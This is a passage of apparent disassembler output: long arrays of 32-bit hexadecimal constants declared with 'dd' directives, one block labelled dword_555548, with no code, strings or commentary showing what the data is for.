		dd 0A2DFE7C6h, 0AF560075h, 37B803ABh, 8E0E3A2Ch, 0C0A96A07h
		dd 6FFFA7FCh, 6D57005Dh, 5E265A9Eh, 2D0079D0h, 8BD4AF44h
		dd 1BEDF8h, 6A8F6265h, 0A9B7F4BBh, 7EB8A700h, 0B16B1C0Fh
		dd 0FC3D4802h, 62B22A73h, 0AE7D12A8h, 5EC4034Eh, 84D78873h
		dd 0B3A480C9h, 0BF00E843h, 0C655C1B1h, 0C05D7872h, 0CD664240h
		dd 0D70768D5h, 0FF0D0285h, 0DD5B9500h, 0CA3E003Dh, 98C08FABh
		dd 0FE0F041Ch, 0CE0E88h, 0A39E050Ah, 4DAD2801h,	93852CE0h
		dd 7CBB0061h, 41804644h, 0C0C3DC00h, 109105D2h,	0FABAE0CAh
		dd 0DDFF30F3h, 1FD79018h, 3A8AD00h, 0D46AC1D6h,	0AA48003Eh
		dd 612B28E9h, 89FA7E87h, 7B02F112h, 1E1BDD00h, 3688DB4h
		dd 814ADDE4h, 1FF83706h, 0F50A281Ch, 0DCE90B57h, 98009513h
		dd 0A0AC7FFFh, 0CE2C18BAh, 0B5BFF9D5h, 9BE5D700h, 8E22F903h
		dd 9280199h, 96AD4F88h,	0E60FCC12h, 8134AF01h, 51F49211h
		dd 944BE30h, 0BCEA2DC5h, 21AB1780h, 43136935h, 98001B03h
		dd 0A1D84F05h, 0C16F008Bh, 6B86EB4Dh, 250FEE09h, 20595EC8h
		dd 0F2DD1439h, 4D52007Dh, 5751A4FAh, 5072E7Ah, 2CCAF612h
		dd 821831C0h, 2C9B4C8Ch, 79B87Bh, 30572D2Fh, 43A1B43Bh
		dd 0E6C43900h, 0C6534534h, 9B8A1D61h, 0BA5AC749h, 8029D75Bh
		dd 0FD2A8F69h, 2C2BEA00h, 83B36FCAh, 804D00CDh,	59F661BDh
		dd 0E200F2A0h, 198C8556h, 0F5B2286h, 0D353664Dh, 0B303D1E3h
		dd 2E3D01A0h, 79981300h, 1D9E5FA9h, 905600D6h, 76DBF0E4h
		dd 6D00A653h, 8E02DF4Eh, 0F14335h, 278DCB30h, 78954568h
		dd 0F7FFC0A0h, 0DA1F6500h, 0C9623B40h, 126A16C4h, 0ED6420CBh
		dd 0EE13277Dh, 0A440437Ah, 4282313h, 1CABFC8Bh,	406B1BB6h
		dd 16A9F4E1h, 0C0A01543h, 0B7000945h, 0E2A7CB8h, 24010DB0h
		dd 338D517h, 2DF2A7E7h,	3D1F9FE0h, 0BC9258h, 37F32CDAh
		dd 8043A2h, 0FD470DD9h,	0D027D3DCh, 69F8B112h, 0DD843000h
		dd 0B51621Eh, 12948D9Bh, 0C1406800h, 9500A9FAh,	6EBAB2FDh
		dd 0E27A3Eh, 0DF55F2ADh, 0FF852E1Ah, 4E7DC800h,	96D14CF5h
		dd 885C003Dh, 0C26414C4h, 0BB00D36Eh, 0EB6F799Ch, 111AFE8h
		dd 8DBCDD1h, 0C4A2483Bh, 0A706457Bh, 8A3AF890h,	0FFC40090h
		dd 0B3B5F84h, 3DFCBB89h, 7E4A0C00h, 0CDACF345h,	2CB78C4h
		dd 0EDFA089Ah, 688424h,	71887B5Fh, 3EA10FEAh, 9E20190Eh
		dd 48C64325h, 0E4889F54h, 0F3FAFCE8h, 0CD54D400h, 4B699462h
		dd 20346235h, 84E0A523h, 0EA074049h, 68BEC5CEh,	4C47C0B0h
		dd 350E3130h, 60CB7E28h
dword_555548	dd 0D6260418h, 50001870h, 0B5E70F31h, 0AA76EEh,	0ECF9332Ah
		dd 0AFFCDF65h, 7D4F1C2Eh, 5CC8E500h, 3EB3F254h,	0F500F90Fh
		dd 0CC14E9B0h, 0E700426Fh, 0A19E4C78h, 2F8DFCA8h, 0C7800E09h
		dd 3360AE61h, 7FEE3CB2h, 628CE700h, 0A6DBC44Bh,	55D200E0h
		dd 275045E6h, 0DF3A25FBh, 0A4AFBF54h, 0C80DC47h, 0F5767CEDh
		dd 93EC007Dh, 0CCABA631h, 6560613Ch, 961EA3EEh,	7A660544h
		dd 803AF4E0h, 0FD243027h, 1642A600h, 9BA78132h,	0B1EF6C2h
		dd 400F70DEh, 849C1289h, 0F222A01Dh, 0F8F49400h, 8ED785h
		dd 8D3F86E4h, 33D4301h,	11845F16h, 0FDBB6800h, 1C947C21h
		dd 0C0CFA9C4h, 22F86EE0h, 36008791h, 6B69C386h,	1DC9E130h
		dd 80E26F28h, 740FC4DBh, 51039C1Eh, 0E4419FFBh,	5280016Eh
		dd 952F388Dh, 64AA20A0h, 0D60C7F00h, 68DDCC06h,	0B573009Ch
		dd 0DB63B053h, 18B838C7h, 0E47EAD00h, 0F1AC06FCh, 6BB43022h
		dd 6D8CFB40h, 9690670Fh, 0E59BA00Ah, 0CFAA6Ah, 97CD1BC0h
		dd 6E9FAB74h, 0BEA3FE0Eh, 1800D2A0h, 4498D58Fh,	9DC00029h
		dd 2EDDCE76h, 0A918495Fh, 5EFA5AFBh, 27E431h, 0F1112084h
		dd 0A8430632h, 0D7F85600h, 2EC81D7Fh, 121B0188h, 1163A6A4h
		dd 521C30AAh, 742468B0h, 54009EB0h, 7C2FA4EDh, 0FF6107DDh
		dd 505FE18Ah, 9FB297B4h, 693CF512h, 391B9840h, 869A81h
		dd 7A7E0514h, 0A795F772h, 7909113Bh, 29B7100h, 5505F06Bh
		dd 357FD6h, 986F537h, 0EF622E51h, 0CFCC3E00h, 170F25CDh
		dd 165C981Ah, 0DB9561h,	15E3D11Ch, 19725142h, 66261D07h
		dd 0D03A54CAh, 0AE9B800h, 24EDF25Ch, 93B04958h,	130509B5h
		dd 0C5207C80h, 9BFEF976h, 0B9BBD000h, 91BECF27h, 4570126Fh
		dd 0C2480A2h, 0D301AA8Dh, 88240F1h, 1EF89635h, 0F5790075h
		dd 9AFA3E09h, 0EB0087F8h, 0E2B90D5Ah, 0E47A4A4Fh, 3468008Eh
		dd 9EBB8CEAh, 6E308DF1h, 0ED432C90h, 0DA440019h, 51C170F7h
		dd 4900FC77h, 593F63CBh, 98CDA9h, 0E9BC3B20h, 5626D0F7h
		dd 8077D73Ch, 6006E0DCh, 1F7A2EABh, 40928B76h, 486CA003h
		dd 0D2007BD0h, 8F0B8026h, 28CD96A8h, 3CC5FE4h, 0E8749D7Ch
		dd 88E5A95Dh, 0A70F86A0h, 4F3B3CCh, 8D87B905h, 0D0F53980h
		dd 5110C004h, 0D2F4358Bh, 74BB0A12h, 0ED400D00h, 17771457h
		dd 40912617h, 44FE3B4h,	78F05C22h, 9D739939h, 0FC1DC90Eh
		dd 1093DD06h, 95C1028h,	9DE18803h, 5E71D91h, 3A5DC08h
		dd 90C01610h, 0DADD6100h, 6A14AC62h, 464A0064h,	9DCF1E08h
		dd 70F27EFCh, 2AF3EC2Ch, 0B5D37B00h, 50163069h,	3CB45021h
		dd 5C00EFBEh, 14C193E5h, 87F78ED3h, 36BB0828h, 0A0E1B8B2h
		dd 1256BC98h, 0D8C0DC78h, 0EE3A014h, 51DC0410h,	0D0241C87h
		dd 9BC1AB97h, 0F2184500h, 0FDE24DE0h, 2DFE0069h, 0A4B6E955h
		dd 16034A96h, 4EDE269Dh, 6C60F7ABh, 0D286Fh, 2C9A9EC3h
		dd 0FA812210h, 0B00CE7Ah, 997D941Dh, 0B19B17h, 0D7C4FEF2h
		dd 8ED2073Dh, 0C6183200h, 2D60C377h, 0E1F80059h, 0D814D6BAh
		dd 3EEA15DEh, 0BF721601h, 1BB5C133h, 0B58D024h,	0F9D09546h
		dd 0A5350D80h, 0F20063E5h, 0A4B1CA7Fh, 72D992C0h, 7C4924EAh
		dd 0BF360007h, 82BF2AEh, 9DDD880Fh, 39BE1FAh, 3DE05135h
		dd 0DA07004Ch, 79A18BEFh, 0E5002E58h, 0AE7C48D9h, 10F089Dh
		dd 0B4DDB6Ch, 0C0B1EA66h, 0FE002B25h, 719E2333h, 2EA2BFh
		dd 39507D5Dh, 99A56B3Ah, 0E66E3205h, 6FC038CFh,	30E5FFBh
		dd 44D2C464h, 0BD03D87h, 31E08B50h, 4C223C04h, 0EF850A88h
		dd 6D00661Eh, 527F9AB3h, 2B8E12BEh, 404515Ch, 0B72445BCh
		dd 2F0E10EDh, 0F9B5E027h, 3BC49EDBh, 38BB30C5h,	4391EA1Fh
		dd 4DEB5A74h, 904B13D9h, 0A884FA29h, 54D844A4h,	4859A744h
		dd 0A1DD42C6h, 22571C22h, 0E2245BC1h, 40113F22h, 10B32842h
		dd 438ACAAEh, 0A4292827h, 42CB2228h, 5E148A50h,	0A308FD44h
		dd 22718228h, 0B721C9D6h, 0C01E562h, 58BD005Bh,	0BEAD00DEh
		dd 0BC57305Ah, 0FB00E452h, 0A4355568h, 74EAAAAFh, 77A800F9h
		dd 20EE8AA7h, 0E717E288h, 4100BC58h, 91D8B727h,	0B30AC025h
		dd 88C94028h, 5CC6E500h, 0CD18D5DDh, 1FCC2EC2h,	19A900FEh
		dd 0DA13E7D4h, 0D0A43Ah, 9F9B8E30h, 0AC5327h, 6D95991Bh
		dd 0AAA7EDD7h, 0D6BD2100h, 92AD1E29h, 523617D0h, 75CE0733h
		dd 6F05D051h, 0E4002F3Ch, 70BAAFCAh, 39E28A3h, 0ED71F492h
		dd 0A9F8B31Bh, 0B4000A47h, 3C8B7AA7h, 779BB5h, 8FD8F609h
		dd 68878E5Bh, 8B0BD038h, 8085F089h, 1E16C015h, 0BCF6AFh
		dd 51CDAA47h, 6BC895A3h, 0E256D100h, 0E58B74C1h, 0CCD45DB9h
		dd 0B7AC1901h, 0EC01DEFCh, 0A500311Fh, 0E8C57849h, 3B90B5C9h
		dd 8D8FC7C0h, 98A71A5Fh, 0F9006908h, 4DE44564h,	116BC130h
		dd 137F91h, 3DCC4051h, 0E714CA23h, 0F9C21D00h, 0FB50EFF4h
		dd 5A746AEEh, 84F5807Ch, 52F94CA9h, 788E420Eh, 0EBB7A040h
		dd 49545Fh, 1A8A94A4h, 2A42DFA5h, 0D01CED14h, 783500D9h
		dd 627D8869h, 0B3AF023Eh, 0A207DC37h, 0C75648E0h, 94F64200h
		dd 0C1BBD610h, 0D4BE00D9h, 0D187D304h, 8100CC05h, 1B8C97DAh
		dd 578392h, 59FD376Eh, 0D75ED4C4h, 6DEB0600h, 0A89623E1h
		dd 0B04A0447h, 80C5E751h, 0BB1A817Eh, 539BB713h, 91F85B00h
		dd 109AE1h, 76F19385h, 0F306C70h, 0B708E900h, 0BFCD608Dh
		dd 0FD17995h, 832A52E6h, 0CAE702A0h, 91074859h,	64FEEDBh
		dd 6EFE7B80h, 54BC005Eh, 6ADC5C4Bh, 0B648930Ch,	0EEE40088h
		dd 43198925h, 2ECF00F9h, 0E370602Bh, 5E00F026h,	9BEA9C2Ah
		dd 26563F75h, 1309AF9h,	1383F392h, 0B3FFF438h, 5DB4DE0Fh
		dd 0A25060A3h, 0E4861F3Ch, 0A13D3F91h, 52007C38h, 884EB131h
		dd 33E83D7h, 0DD5C6Dh, 0B5563A66h, 7DA77F04h, 0ECBF0020h
		dd 5706475Fh, 500E772h,	2E5D9F0Ah, 3C3645ABh, 0E3804C14h
		dd 48C0CC6Ah, 0D8020C4Ah, 0FDDEA494h, 0D7F9C021h, 6E580943h
		dd 8003EC09h, 0F3E0601Fh, 0DB003701h, 0CAFAA722h, 5C406587h
		dd 95008BE4h, 3FB043B2h, 8F09D44Ah, 40A782E5h, 5826C0h
		dd 8D10EF3Bh, 4DDAA061h, 0F91D23Bh, 606E866Dh, 870EDBCEh
		dd 0FB820017h, 0C41CA55Bh, 77008ADEh, 0FF28126Dh, 702BB964h
		dd 0BED8005Ah, 3185B849h, 10C70B6Eh, 0EAE0ED4Dh, 90A0B6DEh
		dd 57FE006Bh, 524F7A44h, 5E001702h, 0B3A7815Dh,	7DE471h
		dd 0F70A79EFh, 0CCDF82E2h, 8A2E5F0Fh, 716440ADh, 67903542h
		dd 408BC069h, 6D65BCFh,	0CCA10900h, 0D055D51Eh,	8EDE0015h
		dd 5FDB1786h, 2C01031Fh, 16B75CFEh, 1EE844F4h, 0B0630053h
		dd 0ED429541h, 48FE187Fh, 477B5B7Bh, 9F3CEB00h,	3528239Eh
		dd 0C776EA87h, 1044BDD0h, 0F1C5A4DBh, 9FF7A600h, 9EAD43C0h
		dd 0CCAF008Eh, 2679E38Ch, 2C0083A4h, 5E4C5DB1h,	1B81FEFh
		dd 0B352B7CAh, 0F0BED429h, 0AD3913B6h, 18D70058h, 5794EA8Dh
		dd 0B94E00D0h, 60F278C6h, 9C1C3896h, 971F0E65h,	7D4C3040h
		dd 1F98DFEBh, 0C03AE49Fh, 91F5481Ch, 0CA011E43h, 737DC65Bh
		dd 0B1FC95C7h, 9BE11C66h, 0E048787h, 25202041h,	70BC48Ch
		dd 54938F14h, 0A5450FABh, 2BC54703h, 889A8800h,	2B64EFEh
		dd 95F600A0h, 0C2523F50h, 73000549h, 0A4787C21h, 16131DB1h
		dd 6A0806h, 37EBA62Eh, 0E21C1AF0h, 3C400A58h, 83D2B213h
		dd 0CD40006Ah, 3D9861F6h, 1B00FB04h, 4490C043h,	3FE2FA0Ch
		dd 55028123h, 9C6F71C4h
		dd 972ECC40h, 0F465433Fh, 2AAFEB00h, 0E0675169h, 0AEFE0C9Ch
		dd 0D120C12Bh, 21A2B407h, 8D131D0Fh, 3AFBB8D2h,	0AB402E2Dh
		dd 0AE9800BBh, 6B7813B3h, 0E700CC90h, 3B59B02Bh, 0FA1DC2h
		dd 937EAC72h, 69D5650Eh, 63433500h, 97C84B6h, 9A27039Bh
		dd 9E462014h, 0F1AB89A0h, 83D80D3Dh, 0D034C721h, 0FFF7A0E1h
		dd 3C7B00ECh, 0FB6ECE36h, 674CED41h, 7A9C007Dh,	0F502A9B4h
		dd 3A1C003Bh, 0D30B91ACh, 42022127h, 0BA7ECA76h, 8450FFh
		dd 0E8772352h, 0A73FA680h, 0D6E5F700h, 74AAB595h, 20F3002Dh
		dd 710B3B2Ah, 83071A1Bh, 0E0A4B6FEh, 0C1F9B2D0h, 15F11E67h
		dd 0FB0E0537h, 60D80BFh, 7F287681h, 1600B094h, 0E4EAAB64h
		dd 0EE1A86A7h, 0B71705Fh, 3C450292h, 0F0FE3807h, 0C446F0C8h
		dd 8C477E0Eh, 0F44440D9h, 7C7DDE84h, 83B7004Eh,	0D39903B3h
		dd 8B00715Bh, 3948C205h, 1B11AA7h, 25F98411h, 0F08382B9h
		dd 7E0FB37Dh, 0C0B86979h, 5FCD67E0h, 4BF23Bh, 0CB299640h
		dd 0D8501527h, 0A442EF00h, 0C50B8281h, 8D59009Ch, 1CDF5DD0h
		dd 300060CFh, 0EF1B13FFh, 3C85Fh, 22F7E625h, 0B8B43961h
		dd 0F6A16607h, 0C04F9746h, 6A98DD95h, 24CC00EDh, 0B22968BEh
		dd 0E013150Dh, 30006403h, 4AA5DF1Bh, 2578C6h, 0A43DDC71h
		dd 94D0C044h, 0D5171900h, 0B30F4EA1h, 1E86E6DBh, 0DC3DE687h
		dd 302056CEh, 0B12F9CA4h, 504C3AFCh, 0FBF10130h, 7222AF93h
		dd 0E3B430h, 2BACC230h,	59B4A220h, 0C82BC0Eh, 98E22039h
		dd 7F2C1302h, 9D3D2C11h, 0BB940050h, 9C84BF74h,	0CC225800h
		dd 8569216Fh, 0F21D0212h, 0D9FA3B4Ah, 3C604340h, 73BB7C04h
		dd 0C0C5250Dh, 0E02E2300h, 1268EA9Bh, 1D957912h, 2734004h
		dd 7F1BBE91h, 35583100h, 0D14E22C2h, 0CDC31623h, 0A390000Dh
		dd 82FD5E21h, 31B60903h, 8254E7C8h, 1972C081h, 0BBED029Eh
		dd 2D8426D7h, 3E83B440h, 5C587320h, 8D00B7CFh, 5E6ACECDh
		dd 0C055F19h, 8FD31375h, 81573480h, 92300040h, 792F9F72h
		dd 90006735h, 37BACF80h, 5A7BD3h, 0EAF712D0h, 890AE504h
		dd 0D6F63F0Eh, 0FE9381E9h, 78386FDCh, 81B3640Fh, 0D860BBEEh
		dd 15BFF320h, 580420B8h, 2D65DDF6h, 486F4880h, 87D9035Ah
		dd 7ECB5403h, 0DBC1A380h, 0FA2B5802h, 0C06778D6h, 62E295h
		dd 95973915h, 314DDB2Eh, 18428800h, 890E792Bh, 0BCF2049Eh
		dd 80C9C4D6h, 6226ACAFh, 491BBF07h, 216CAC8h, 7A570041h
		dd 0E1A73A2Ah, 600E8D6h, 0CF85FBBBh, 4E5C76h, 0A53C618Bh
		dd 599E09F6h, 2D736800h, 993ADF45h, 0B36C00A0h,	5146AF10h
		dd 1B07F1A3h, 12089BE7h, 808EFDE2h, 23984EECh, 11C7405h
		dd 0D2444CCBh, 0FC020736h, 49002BDFh, 770520EAh, 0C383CEh
		dd 0AD7DBDAEh, 0D7DBC472h, 0A611E00h, 0EC270B5h, 58B10053h
		dd 0C720A6D2h, 0DA90104Ah, 1F14EF0Fh, 0A37427AFh, 0B940E8B7h
		dd 4E1BC0h, 0B8EC05E9h,	15CE50DFh, 0A579B700h, 0CB71035Fh
		dd 809F0133h, 58B29C7Ch, 24183C56h, 0C06090C4h,	36BAAF1h
		dd 67014D79h, 0FAA03A81h, 5E00B6D4h, 846EBEBFh,	0E6DB5B93h
		dd 0C991149Bh, 2900ABA7h, 0D8E57AC4h, 36002180h, 6BF6DD8Eh
		dd 0B911F7h, 6D966E8Fh,	4AF90EE2h, 0A0D5DC00h, 2A1B3D8Dh
		dd 34D98ADh, 0B570138Ah, 9800957Ah, 8D23D711h, 0D3BE1F6Dh
		dd 0DF03FE08h, 0A13524B7h, 2084D112h, 0C70DC964h, 512D8068h
		dd 10187761h, 0B9286570h, 0BA750713h, 0E0D062F3h, 3B698372h
		dd 187CD81Fh, 6B05F600h, 5312B0h, 4936CB9Bh, 0C60C8FFh
		dd 0ED72BB00h, 40893F1Eh, 8820F973h, 11AA24E5h,	9E1F0578h
		dd 0F158D09Fh, 8709A8CCh, 60F79CECh, 0C08B210h,	41915B10h
		dd 0C6004E10h, 2435416h, 476476h, 0B69D8CA7h, 0F7DA3F61h
		dd 5C009B98h, 0A0259143h, 793986Fh, 6B142365h, 0D6C60107h
		dd 9FA3E062h, 0B5F2D04h, 0ABC0A2F6h, 3A3D40h, 9D847917h
		dd 2B96AC31h, 0CFAA5400h, 18C5F259h, 16290024h,	0DDB03C51h
		dd 51B08DB7h, 0ABE0507h, 3191E646h, 0D1F99343h,	321DC840h
		dd 942220EEh, 0A98FA928h, 0EA0FA48h, 8291AA44h,	0C932FC2Eh
		dd 208069FCh, 0D5B5E3C5h, 9002C834h, 3AB9ECA9h,	0F16C6938h
		dd 0A41D170h, 7CFEC57Bh, 81003DC8h, 4C894E50h, 0CC028CE7h
		dd 0F93CEC6Ch, 0E6E7406Dh, 75840167h, 5843BD64h, 0D205FC29h
		dd 0A9E52500h, 0EBBAA796h, 0B29F16D4h, 9C5C0401h, 0DB688056h
		dd 102CEF64h, 5C01346Ah, 6327C38Fh, 4330D09Eh, 0D7205E83h
		dd 0FE460A5h, 8C00AD2Eh, 405ECE80h, 294B0h, 0C992C32Ah
		dd 0ED06D7B2h, 7ADBA0C3h, 52CB9855h, 7D2698B8h,	3E75B4h
		dd 7BE2400Fh, 0BB587012h, 0B08C4500h, 0A342B3DEh, 646639F3h
		dd 2F30E180h, 0F48AF888h, 9C62F9h, 47B1713Bh, 2AB5DEBh
		dd 0C10AA841h, 0F0C8818Bh, 48583C1Dh, 2F1E162Ch, 0EE18618h
		dd 45761C77h, 8D80FEC2h, 4771490Ah, 19007BC0h, 63210B68h
		dd 2953145h, 7D6C80C2h,	37C06DA0h, 0DF04941Bh, 33754A1Fh
		dd 0F18E80AEh, 4098D418h, 538A8710h, 720BE058h,	94A79747h
		dd 0ADE8B2DBh, 176BA0AAh, 0D320F00Ah, 0FD00C874h, 0A2992FA5h
		dd 0A0BB804Dh, 3960DFCCh, 64005383h, 321011B7h,	0B92C894Fh
		dd 4D007514h, 721FC278h, 0AC01185Dh, 80FE3921h,	48816B00h
		dd 0C217ED2Bh, 575000C8h, 0E399D19Bh, 0A2EE7907h, 0AD823106h
		dd 2870E7h, 6B4978A4h, 1DD6F48Fh, 9865A72Ah, 2FC3E813h
		dd 235700C0h, 3C08034Eh, 716729AAh, 0C19D000h, 0C1940A1Ah
		dd 4D5A39C5h, 10DC6F3Ah, 92E416h, 52014768h, 6400110Ah
		dd 639B6678h, 756E9786h, 0E4730065h, 0E517A77Fh, 0D70F416Fh
		dd 815A0A2Eh, 1F75D83Fh, 20E0470h, 0D2778809h, 47081E1h
		dd 0D7030A90h, 1F55C147h, 43AFB078h, 0A19B3D67h, 0AA172393h
		dd 0AECE4200h, 0ED4B02h, 0FA9008BEh, 71A74493h,	5099707h
		dd 21708681h, 58256F9Ch, 731F5C56h, 0F9287D31h,	0CB2A0084h
		dd 3E679A7h, 0D6008BF4h, 746BA5CCh, 30BAFBF8h, 2520C4D7h
		dd 0E4E76619h, 0A9076981h, 48A27065h, 0D1168480h, 1D6E0E6Bh
		dd 0E4BDDD9Fh, 662B041Ch, 48205604h, 770BBFFh, 0E961B7EAh
		dd 0B4DF5041h, 0AD0ED8E2h, 938CBE97h, 59059801h, 6C79DB06h
		dd 0C457CC0Bh, 0B2355460h, 0AC414Dh, 901AC36Eh,	1F3444DAh
		dd 0DB8BA4h, 2C86274h, 0A0066D2h, 0F824ED21h, 3552EBEh
		dd 0BA672813h, 47A0342Fh, 1700F274h, 18EE6DA1h,	0A3EF3h
		dd 0FFEBF528h, 9676D695h, 13006173h, 65871B29h,	0A0828A54h
		dd 1038FFACh, 25F58E8h,	0F77C8EFBh, 30060102h, 0E00470C8h
		dd 1C01FCB0h, 4A4EDEEAh, 1C037E5h, 3A14B8A2h, 3875EDFFh
		dd 0C78095A6h, 0C2E3AB54h, 8306F885h, 56A15A0Fh, 0C040285Eh
		dd 0D3CF00ACh, 9C3B598Bh, 0E0B2F5C8h, 69CA0C0Ah, 0D8075C28h
		dd 0DB70E36Bh, 28464CABh, 3BB4B575h, 1501C7D9h,	9412DF5Bh
		dd 5587D3Ch, 40042E5Dh,	7A0BC9C0h, 0A2FA2D13h, 0E37D004h
		dd 0F1FD20F9h, 2E33A147h, 8810BDF4h, 8138D871h,	4D0ABC56h
		dd 0EC2C6450h, 0D93AAC00h, 0C112FF0Eh, 71FB8900h, 4DFC6FEAh
		dd 28F92E52h, 64870060h, 0AEFF2059h, 1C46F000h,	49158BDFh
		dd 6AD8906Fh, 24F096h, 0B93CDA81h, 0CB00DE69h, 0C3BBDCF1h
		dd 668EE35h, 0E15ECF03h, 81E09027h, 0D3A82418h,	905AA11h
		dd 5962A02Dh, 3C0AA041h, 0FE240018h, 4FF2977Eh,	84DF3806h
		dd 0C139109Fh, 5C7636A3h
		dd 0A0EC6433h, 6E04740Bh, 217422AAh, 7918C0F5h,	798371B3h
		dd 6A290067h, 34D7A2A7h, 2A001F81h, 18DC9B61h, 28B2717h
		dd 707AE3ACh, 9E80076Ch, 14CE01C2h, 0C49B3000h,	0A01C1343h
		dd 23980028h, 3782DCD9h, 44000CB7h, 0EE12EBDh, 2E0E7A8h
		dd 6E1D1BF8h, 53C3AD69h, 0B4A428A8h, 145C81E2h,	59E204CFh
		dd 78804D4Fh, 0C2A0B10h, 6690E9EBh, 76165F10h, 51FC1501h
		dd 8C5A1C01h, 0E496EE4Fh, 8E3FD2C0h, 80C7B817h,	574D3B53h
		dd 3D2B294Ch, 1B80800Dh, 0ABAF1C5Eh, 0ED0034E4h, 0FD8DFCE0h
		dd 121F4CF9h, 0A0B671DFh, 0C90B44CCh, 873DD7B1h, 0DB8079A2h
		dd 0E02D7Fh, 970CDCD2h,	0A711C272h, 1F09983Eh, 0F7C3D6B2h
		dd 0B13A7EBAh, 7FEC2FC6h, 636000B0h, 4C9E6FF9h,	2001C940h
		dd 65DAEC3h, 842426ADh,	58BE002Ah, 7CEF5F95h, 4F038A19h
		dd 0E09D60E7h, 0C3CCDA68h, 0C64C0082h, 297A0850h, 101C4E9h
		dd 9E28D436h, 2870B277h, 0C080ED8Fh, 58D88B97h,	6A00DC4Fh
		dd 47ABC4B7h, 2E6F0ACCh, 7C405B9h, 0E0A315D3h, 72240E9Bh
		dd 2B0F8C00h, 0F3048E19h, 0AE010E4Eh, 697EFF7h,	586257BBh
		dd 0C26521h, 47BE70E3h,	2F7D9C30h, 37153B00h, 4093FFA3h
		dd 0FC360727h, 9089AB13h, 4D869C4Bh, 0D0EC9600h, 3C6A11BFh
		dd 0BECF0037h, 915325AEh, 390052C1h, 0DB905BECh, 1E89310h
		dd 0B4ABCEE6h, 80ED3C87h, 0C2B23A10h, 2E6633h, 0BF9B5A44h
		dd 0F6CC7FD7h, 4B3BA300h, 8CB1C71Bh, 0C1702Ch, 9A04E103h
		dd 0D7D02BEh, 0CBD24200h, 0F741E579h, 6B9B002Ch, 90C8352Eh
		dd 9107570Ch, 0EA67C42Ah, 0A302F430h, 8824071Dh, 0F0CE341Ch
		dd 982F939Eh, 802A223Fh, 991086F3h, 3B3DCF0h, 0B6C4C9A7h
		dd 2AB89CE3h, 9D3AB59Fh, 8639BC8Ch, 0D0C759F1h,	0FA4913F4h
		dd 1D8F00D3h, 0F7BF9783h, 2ACCDF00h, 9DC7BAC8h,	0DDFE0F43h
		dd 0C141FD7Ch, 340BEE23h, 4EF6A37Ch, 0C4495500h, 0A461E4CAh
		dd 7EB70963h, 2003916h,	8D198310h, 0DE5B7100h, 863714CFh
		dd 3EEE058h, 0AA7BE384h, 5177B096h, 0FD598A1Fh,	60C23A00h
		dd 72D347E7h, 83E43F86h, 0B28097h, 0FED95A3Dh, 980074ACh
		dd 364A6AAEh, 74782E2Dh, 30D826B1h, 0EE8D00A9h,	0E1DEE804h
		dd 0EF150D00h, 938106B9h, 521900F9h, 26FEA0E6h,	111FA584h
		dd 0FC405D83h, 0F486DEDCh, 0C39D004Bh, 57DA92E9h, 67002418h
		dd 1A2797FEh, 13213ABh,	283F1420h, 0D6959285h, 91ECB0C0h
		dd 8FCED438h, 81800Bh, 38C4DB23h, 9A85000Ah, 0CAD13BDFh
		dd 0C73C20FFh, 1A1E9E25h, 1276C9C1h, 1C328F2Eh,	0B7FB6002h
		dd 2CC0D707h, 1B0018C9h, 308D8A56h, 0F522350h, 0B7C4FAEAh
		dd 0AE84036h, 0C39FFB42h, 7581B101h, 1EBCAA3Ah,	0AEF7D8h
		dd 11F270CEh, 0F8CB5A0Bh, 3D0B000h, 3C326CDEh, 0CC9084h
		dd 836F7673h, 9BBA6E70h, 62100C00h, 51C12EADh, 2D190090h
		dd 0ED14A923h, 0B5EEF0CCh, 0BA337F01h, 4D8BAA7Ah, 99001028h
		dd 0CDD63CD2h, 89004E23h, 0A0588C32h, 99DA73Fh,	0CF70F8DEh
		dd 0C4098440h, 872F7612h, 69BA8E07h, 0D05D76h, 4D90D814h
		dd 0CFA5890Eh, 5E725805h, 0F8C0B005h, 0A878EA4h, 0EEA7C7DFh
		dd 485200E0h, 0EA649D41h, 0F7D99503h, 834AA86Ch, 0FCDA9844h
		dd 2641FE91h, 0D099B1h,	0B633782Ah, 1903378Dh, 0C3DDFC7Ah
		dd 7390AF57h, 39271EBEh, 0B8E1229h, 58A29119h, 69C098A9h
		dd 3E2E4913h, 6100844Eh, 8D290A10h, 41985Eh, 156A5AE9h
		dd 8ABF3E96h, 4B758C09h, 7B0700Bh, 0FDEE0681h, 9D8E3321h
		dd 0F758EB88h, 5CFACB2Eh, 74702027h, 0B4566F79h, 118A009Ch
		dd 0BA802327h, 720317FAh, 63092503h, 29FAD04Dh,	6B593C83h
		dd 70AD4F8Bh, 1ACC8C00h, 0DB26346Ch, 0E100B6ECh, 772F7FBAh
		dd 367FEDh, 523ACB66h, 58E41EAEh, 3ABEBF3Ch, 5CC00F9Ah
		dd 99B9002Eh, 1F1980h, 36D9D60Dh, 27FEB668h, 588F5C00h
		dd 0DBD23B45h, 0C3A900BEh, 927C85A6h, 0A40070ACh, 0B367A0D6h
		dd 0BEED4Ah, 0E9CF152h,	0FBE7182Ch, 5BE5E300h, 0BF3DC991h
		dd 0F81501AAh, 0FF2C4146h, 0F6D3C09Ch, 0D15E0C07h, 33719F0Ah
		dd 0D70D26Fh, 0B872E6ABh, 0E6030027h, 45B0365Eh, 22018DE0h
		dd 0FDB70135h, 2BC07Eh,	583C0C5Ch, 3600F968h, 0D8C4A80Ah
		dd 3C15016h, 0C529E611h, 0C7A760AFh, 46F5C0E0h,	0B400F7C2h
		dd 0A59743A9h, 5A84C61h, 0D12911FCh, 0AFF480F1h, 0BD03677Fh
		dd 2A4639ECh, 9692077Bh, 0D4758D48h, 5C74F09Fh,	0C3443000h
		dd 512283BBh, 3AFF00B3h, 0BCF7EB2Eh, 4C00ADAFh,	0FC19DD46h
		dd 94CC9Dh, 5E242D52h, 6E92F6DCh, 0C53A48h, 916304B9h
		dd 130EFD3Dh, 0A253DFC2h, 88DA2180h, 5047646Ah,	92124E45h
		dd 813558F4h, 0BC273AE1h, 0DC3382EEh, 0CB28A450h, 62C231h
		dd 5163BAh, 5A205BCDh, 260E2DA9h, 0BB7D8500h, 0D3A6E0A2h
		dd 0EC9D0098h, 0BD417AC2h, 300062A4h, 96DE5612h, 1257B2EDh
		dd 0BA030ADBh, 0B5D34C02h, 0E1C07459h, 2207D1h,	0E2C50Bh
		dd 9805630Ah, 0A2A9422Ah, 0A4176B00h, 0F4EB1595h, 0ABEA03D6h
		dd 0B6E4D2C1h, 50121CF9h, 0E15693BCh, 0DE88DC54h, 0A5BC8CFh
		dd 0AE007452h, 0C11A8434h, 26110004h, 48645958h, 894CAFD2h
		dd 504A0BB9h, 78B20030h, 0DDC051h, 0C7D0275Dh, 96B46C7Dh
